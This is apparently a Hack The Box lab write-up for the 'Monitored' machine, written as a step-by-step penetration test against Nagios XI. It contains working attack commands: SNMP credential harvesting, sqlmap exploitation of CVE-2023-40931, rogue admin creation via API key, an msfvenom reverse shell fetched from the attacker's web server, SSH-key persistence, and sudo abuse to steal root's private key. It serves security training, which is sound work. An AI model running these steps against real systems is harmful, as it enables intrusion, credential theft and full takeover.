
1/16

Monitored

IP: 10.129.38.227

Info Gathering

Initial Setup

# Make directory to save files
mkdir ~/HTB/Boxes/Monitored
cd ~/HTB/Boxes/Monitored

# Open a tmux session
tmux new -s Bizness

# Start logging session
(Prefix-Key) CTRL + b, SHIFT + P

# Connect to HackTheBox OpenVPN
sudo openvpn /etc/openvpn/client/lab_tobor.ovpn

# Create Metasploit Workspace
sudo msfconsole
workspace -a Monitored
workspace Monitored
setg LHOST 10.10.14.78
setg LPORT 1337
setg RHOST 10.129.38.227
setg RHOSTS 10.129.38.227
setg SRVHOST 10.10.14.78
setg SRVPORT 9000
use multi/handler

Enumeration (Monitoring servers likely use SNMP also)

# Add enumeration info into workspace
db_nmap -sT -sC -sV -O -A -p 22,80,389,443 10.129.38.227 -oN Monitored-TCP.nmap
db_nmap -sU -sC -sV -O -A -p 22,80,389,443 10.129.38.227 -oN Monitored-UDP.nmap

Hosts
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Services

Gaining Access

In my port scan I discovered the hostname of this server is nagios.monitored.htb because of a redirect from http
to https

Screenshot Evidence

I added those domains to my hosts file

# Edit File
sudo vim /etc/hosts
# Add Line
10.129.38.227    nagios.monitored.htb monitored.htb

Screenshot Evidence
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Navigating to http://10.129.38.227 redirected my to https://nagios.monitored.com/ as expected

Screenshot Evidence

I verified the LDAP domain context being used. This verified dc=monitored,dc=htb

# Commands Executed
sudo nmap --script=ldap-search.nse 10.129.38.227 -p389 -oN ldap.results
# OR use ldapsearch
ldapsearch -x -H ldap://monitored.htb -D '' -w '' -b "DC=monitored,DC=htb" > ldapresults.txt

Screenshot Evidence

http://10.129.38.227
https://nagios.monitored.com/
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SNMPv2c is being used. I ran a walk assuming the community string is the default string “public” which was
successful

# Command Executed
snmpwalk -v2c -c public monitored.htb > snmp.results

There appears to be a username and password in a command string in the results

Screenshot Evidence

USER: svc
PASS: XjH7VCehowpR1xZB

I was unable to login to SSH and NagiosXI using the defined credentials

Screenshot Evidence
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I know the account exists so it is likely disabled for logins.
I made an API query with the credentials to try and retrieve information that way
I retrieved an authentication token to make queries with
REFERENCE: https://support.nagios.com/forum/viewtopic.php?f=16&t=58783

# Command Executed
curl -X POST -sL -k 'http://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d
'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'

I ran a Google search for NagiosXI vulnerabilities and came across a SQL injection at CVE-2023-40931
REFERENCE: https://outpost24.com/blog/nagios-xi-vulnerabilities/#1-sql-injection-in-banner-acknowledging-
endpoint-cve-2023-40931

The vulnerability I took notice of states:
"When a user acknowledges a banner, a POST request is sent to  `/nagiosxi/admin/banner_message-
ajaxhelper.php` with the POST data  consisting of the intended action and message ID – `action=acknowledge 
banner message&id=3`.
The ID parameter is assumed to be trusted but comes directly from the  client without sanitization. This leads to
a SQL Injection where an  authenticated user with low or no privileges can retrieve sensitive  data, such as from
the `xi_session` and `xi_users` table containing data  such as emails, usernames, hashed passwords, API tokens,
and backend  tickets."

Screenshot Evidence

AUTH_TOKEN: 7fcf7062d6c291da0bb6d11d59aa83bd8791ca3e

I verified my authentication token works by querying the vulnerable site. 
Because the token expires after use I put together a command to update the token each time using jq to grep the
token value

# Install jq
sudo apt install -y jq

# Make script get_token
echo '#!/bin/bash' > get_token
echo 'curl -X POST -sL -k http://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1 -d
"username=svc&password=XjH7VCehowpR1xZB&valid_min=5" | jq -r .auth_token' >> get_token
sudo chmod +x get_token

# Use token
curl -sL -k "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?token=$(./get_token)" -d
'action=acknowledge  banner message&id=3' -i

Screenshot Results

https://support.nagios.com/forum/viewtopic.php?f=16&amp;t=58783
https://outpost24.com/blog/nagios-xi-vulnerabilities/#1-sql-injection-in-banner-acknowledging-endpoint-cve-2023-40931
https://outpost24.com/blog/nagios-xi-vulnerabilities/#1-sql-injection-in-banner-acknowledging-endpoint-cve-2023-40931
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I know from the CVE I can return the xi_users and xi_session tables which have critical information in them
The default MySQL database for nagiosxi is called nagiosxi. I can verify this is used by dumping the database

I used sqlmap to attempt and achieve dumping all database information

# Command Executed
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?
action=acknowledge_banner_message&id=1&token=$(/home/tobor/HTB/Boxes/Monitored/get_token)" --level 5 --risk 3 -
p id --batch -D nagiosxi --dump
# Answer: Y
# Answer: Y

I then dumped the table I wanted to see xi_users

# Command Executed
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?
action=acknowledge_banner_message&id=1&token=$(/home/tobor/HTB/Boxes/Monitored/get_token)" --level 5 --risk 3 -
p id --batch -D nagiosxi -T xi_users --dump

I was successful in returning results

Screenshot Evidence
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ID: 1
USER: Nagios Administrator
USERNAME: nagiosadmin
EMAIL: admin@monitored.htb
HASH: $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C
API KEY: IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

ID: 2
USER: svc
USERNAME: svc
EMAIL: svc@monitored.htb
HASH: $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK
API KEY: 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK

I identified the hash as bcrypt

# Commands Executed
hashid
$2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK

Screenshot Evidence

I was unable to crack the password

# Command Executed
echo '$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C' > admin.hash
john -w=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hash

I was able to create a user to login with in NagiosXI using the nagiosadmin API key granting my user admin
privileges

# Command Executed
curl -X POST -sL -k 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?
apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d
"username=tobor&password=tobor&name=tobor&email=tobor@monitored.htb&auth_level=admin"
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Screenshot Evidence Created User

Screenshot Evidence Login

Screenshot Evidence NagiosXI Dashboard
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I can now create a custom sensor in Nagios that initiates a reverse shell
I navigated to Configure > Core Config Manager

I selected the “Commands” dropdown in the left-hand pane and clicked “>_Commands”

I clicked “Add New” and added a command called get_shell which is a curl request made to an msfvenom
payload I will host

Screenshot Evidence

I clicked “Apply Configuration” to apply my changes

Screenshot Evidence
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In NagiosXI I went to Services in the left-hand pane and selected HTTP
I noticed sudo is used in the command view. 
I went back and updated my get_shell command to have sudo in front of it. (This made new difference in the
established shell later on)

Screenshot Evidence (Usage of sudo by other commands)

I generated an msfvenom payload and hosted it on my web server.
I am going to download it to the target, make it executable and catch a shell with it by following the above
process changing the Command Line value for get_shell

# Generate Payload
sudo -i # Required to output file directly to /var/www/html
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.78 LPORT=1337 -f elf > /var/www/html/monitored.elf
exit # Exit root users terminal back to your user

# Make executable
sudo chmod +x /var/www/html/monitored.elf

# Start Apache service
sudo systemctl start apache2

# Monitor log file for connections
sudo tail -f /var/log/apache2/access.log

I started a Metasploit listener

# Metasploit Commands
use multi/handler
set LHOST 10.10.14.78
set LPORT 1337
set payload linux/x64/meterpreter/reverse_tcp
run -j
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I used the “Run Check Command” button to use the RCE with get_shell

Screenshot Evidence created get_shell

When I executed the test command it downloaded the file from my webserver
I verified using Test Command that tobor file was created/saved

Screenshot Evidence

I checked the directory I am in for executing my payload and discovered I am in the nagios users home directory

Screenshot Evidence

I made the payload I generated executable using ```sudo chmod 777 tobor```

Screenshot Evidence

I executed the payload and caught a shell

Screenshot Evidence
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I was able to read the user flag

# Command Executed
cat ~/user.txt

Screenshot Evidence

I added my users SSH key to the authorized_keys file for persistence

# Command Executed
mkdir /home/nagios/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK80itaOnXv2WX20VuT5CGTlW77s1G1BGJ7jA3wPjKws tobor@kali' >> /home/
nagios/.ssh/authorized_keys
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# SSH in
ssh nagios@monitored.htb -i ~/.ssh/id_ed25519

USER FLAG: f3ec6cf73a888fe6f5365981fdb01ccb

PrivEsc

I enumerated my users sudo permissions to see the limitations of what I can do as root without a password

# Command Executed
sudo -l

Screenshot Evidence

A Google search discovered that getprofile.sh has an RCE attached to it
The Metasploit module appeared to not work. I looked more into how this file works and discovered I could
arbitrarily read files
REFERENCE: https://packetstormsecurity.com/files/162158/Nagios-XI-getprofile.sh-Remote-Command-
Execution.html

When looking inside the sudo script file I can see that nagios_log_file is getting the log file destination from the
nagios.cfg file
The nagios.cfg file likely has the same parameter value defined inside it. I can not modify getprofile.sh but I can
modify nagios.cfg

Screenshot Evidence

https://packetstormsecurity.com/files/162158/Nagios-XI-getprofile.sh-Remote-Command-Execution.html
https://packetstormsecurity.com/files/162158/Nagios-XI-getprofile.sh-Remote-Command-Execution.html
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The /usr/local/nagios/etc/nagios.cfg file is writable for my nagios user

# Command Executed
ls -la /usr/local/nagios/etc/nagios.cfg

Screenshot Evidence

In the nagios.cfg file I modified log_file to /root/.ssh/id_rsa to read the root users SSH key if it exists

Screenshot Evidence

I then used my sudo permissions to run getprofile.sh

# Command Executed
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 6

Screenshot Evidence

I copied the zip file that was created to my temp directory for viewing. The nagios.log file should have the private
SSH key for the root user

# Commands Executed
cp /usr/local/nagiosxi/var/components/profile.zip  /tmp/tobor-profile.zip
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# Extract zip contents
cd /tmp
unzip tobor-profile.zip

# Read log file to get key
cd /tmp/profile-1705264736/nagios-logs
cat nagios.txt

Screenshot Evidence

Root SSH Key

-----BEGIN OPENSSH PRIVATE KEY-----                                                 -----END OPENSSH PRIVATE KEY-----

I copied the ssh key to my machine and used it to SSH in as root

# Added SSH key into root.key
vim root.key

# Correct the key permissions
chmod 600 root.key
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I was then able to read the root flag

# Commands Executed
ssh root@monitored.htb -i root.key
cat /root/root.txt
#RESULTS
b6b1535cdf63f9df159cb665599acd18

Screenshot Evidence

ROOT FLAG: b6b1535cdf63f9df159cb665599acd18


